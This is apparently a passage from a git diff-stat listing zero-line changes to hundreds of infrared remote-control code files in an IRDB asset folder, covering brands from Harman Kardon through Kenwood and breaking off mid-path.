0 .../_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir | 0 .../_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir | 0 .../optional-assets/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir | 0 .../_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir | 0 .../_CSV-IRDB_/Harman Video/Video Projector/7,0.ir | 0 .../optional-assets/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir | 0 .../_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir | 0 .../_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir | 0 .../_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir | 0 .../_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Herma/Dipper/5,-1.ir | 0 .../_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir | 0 .../optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir | 0 .../optional-assets/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir | 0 .../optional-assets/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir | 0 .../_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir | 0 .../_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir | 0 .../optional-assets/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir | 0 .../optional-assets/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/DSS/12,251.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/DSS/184,0.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/DSS/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/DSS/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/DSS/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/DSS/96,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/DSS/97,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Display/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/LCD/86,171.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Monitor/144,0.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,158.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,173.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/TV/12,251.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/TV/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/TV/80,143.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/TV/80,173.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/TV/96,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir | 0 .../_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir | 0 .../_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/VCR/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/VCR/40,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/VCR/44,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/VCR/5,1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/VCR/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/VCR/83,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/VCR/96,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/VCR/96,158.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/VCR/97,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/VCR/97,159.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir | 0 .../optional-assets/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir | 0 .../_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir | 0 .../_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir | 0 .../optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/DSS/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/DSS/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/DSS/12,251.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/DSS/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/DSS/136,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/DSS/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/DSS/60,178.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/DSS/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/DVR/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/DVR/133,48.ir | 0 .../_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/Satellite/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/Satellite/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/Satellite/12,251.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/Satellite/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/Satellite/136,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/Satellite/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/Satellite/60,178.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/Satellite/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/TiVo/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/VCR/96,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Hughes/VCR/97,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/Satellite/0,17.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/Satellite/0,23.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/Satellite/0,73.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir | 0 .../_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir | 0 .../_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir | 0 .../optional-assets/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir | 0 .../_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir | 0 .../optional-assets/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir | 0 .../optional-assets/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir | 0 .../optional-assets/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir | 0 .../optional-assets/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir | 0 .../optional-assets/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/InFocus/Plasma/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/InFocus/Projector/135,78.ir | 0 .../_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir | 0 .../_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir | 0 .../optional-assets/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir | 0 .../optional-assets/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/InFocus/Video Projector/123,2.ir | 0 .../optional-assets/_CSV-IRDB_/InFocus/Video Projector/131,85.ir | 0 .../optional-assets/_CSV-IRDB_/InFocus/Video Projector/135,78.ir | 0 .../optional-assets/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/InFocus/Video Projector/2,1.ir | 0 .../optional-assets/_CSV-IRDB_/InFocus/Video Projector/78,135.ir | 0 .../optional-assets/_CSV-IRDB_/InFocus/Video Projector/80,79.ir | 0 .../optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir | 0 .../optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir | 0 .../optional-assets/_CSV-IRDB_/Insignia/DVD Player/135,34.ir | 0 .../optional-assets/_CSV-IRDB_/Insignia/TV/134,5.ir | 0 .../_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir | 0 .../optional-assets/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Amplifier/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Amplifier/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/CD Player/210,44.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/DVD Player/210,31.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/DVD Player/210,43.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/DVD Player/69,181.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,3.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,4.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,9.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/HD DVD/69,181.ir | 0 .../_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir | 0 .../_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Media PC/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,1.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,108.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,17.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,172.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,18.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,19.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,2.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,20.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,21.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,22.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,23.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,24.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,25.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,30.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Receiver/210,43.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Tuner/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/Tuner/210,2.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/iPod/210,108.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/iPod/210,109.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/iPod/210,172.ir | 0 .../optional-assets/_CSV-IRDB_/Integra/iPod/210,2.ir | 0 .../_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir | 0 .../optional-assets/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Intervideo/VCR/49,-1.ir | 0 .../_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir | 0 .../_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir | 0 .../optional-assets/_CSV-IRDB_/JBL/Receiver/64,47.ir | 0 .../optional-assets/_CSV-IRDB_/JBL/Surround Processor/130,11.ir | 0 .../optional-assets/_CSV-IRDB_/JBL/Surround Processor/132,66.ir | 0 .../optional-assets/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JENSEN/VCR/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/CD Player/179,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/CD Player/179,0.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/CD Player/34,33.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/CD Player/34,48.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Camcorder/211,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Camcorder/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/D-VHS/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/DVD Player/179,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/DVD Player/239,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/DVD Player/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Karaoke/179,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Karaoke/191,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Karaoke/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/LCD TV/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/LCD/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/LCD/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/LCD/35,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/LCD/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Mini System/131,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Mini System/159,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Mini System/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Mini System/175,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Mini System/179,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Mini System/31,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Monitor/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Monitor/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Plasma/31,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Projector/115,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/131,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/147,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/159,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/175,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/179,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/191,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/239,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/34,84.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Receiver/83,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/S-VHS/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Satellite/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Satellite/16,0.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Satellite/24,0.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Satellite/8,0.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Switcher/243,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/TV/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/TV/31,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/TV/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Tuner/131,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Tuner/147,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Tuner/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Tuner/179,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Tuner/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Tuner/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir | 0 .../_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/0,14.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/1,14.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/131,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/179,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/67,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/8,14.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/VCR/83,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Video Projector/115,-1.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Video Projector/131,85.ir | 0 .../optional-assets/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir | 0 .../optional-assets/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir | 0 .../_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir | 0 .../optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir | 0 .../optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir | 0 .../optional-assets/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir | 0 .../optional-assets/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kathrein/Satellite/34,144.ir | 0 .../_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir | 0 .../optional-assets/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,0.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Kenwood/Cassette 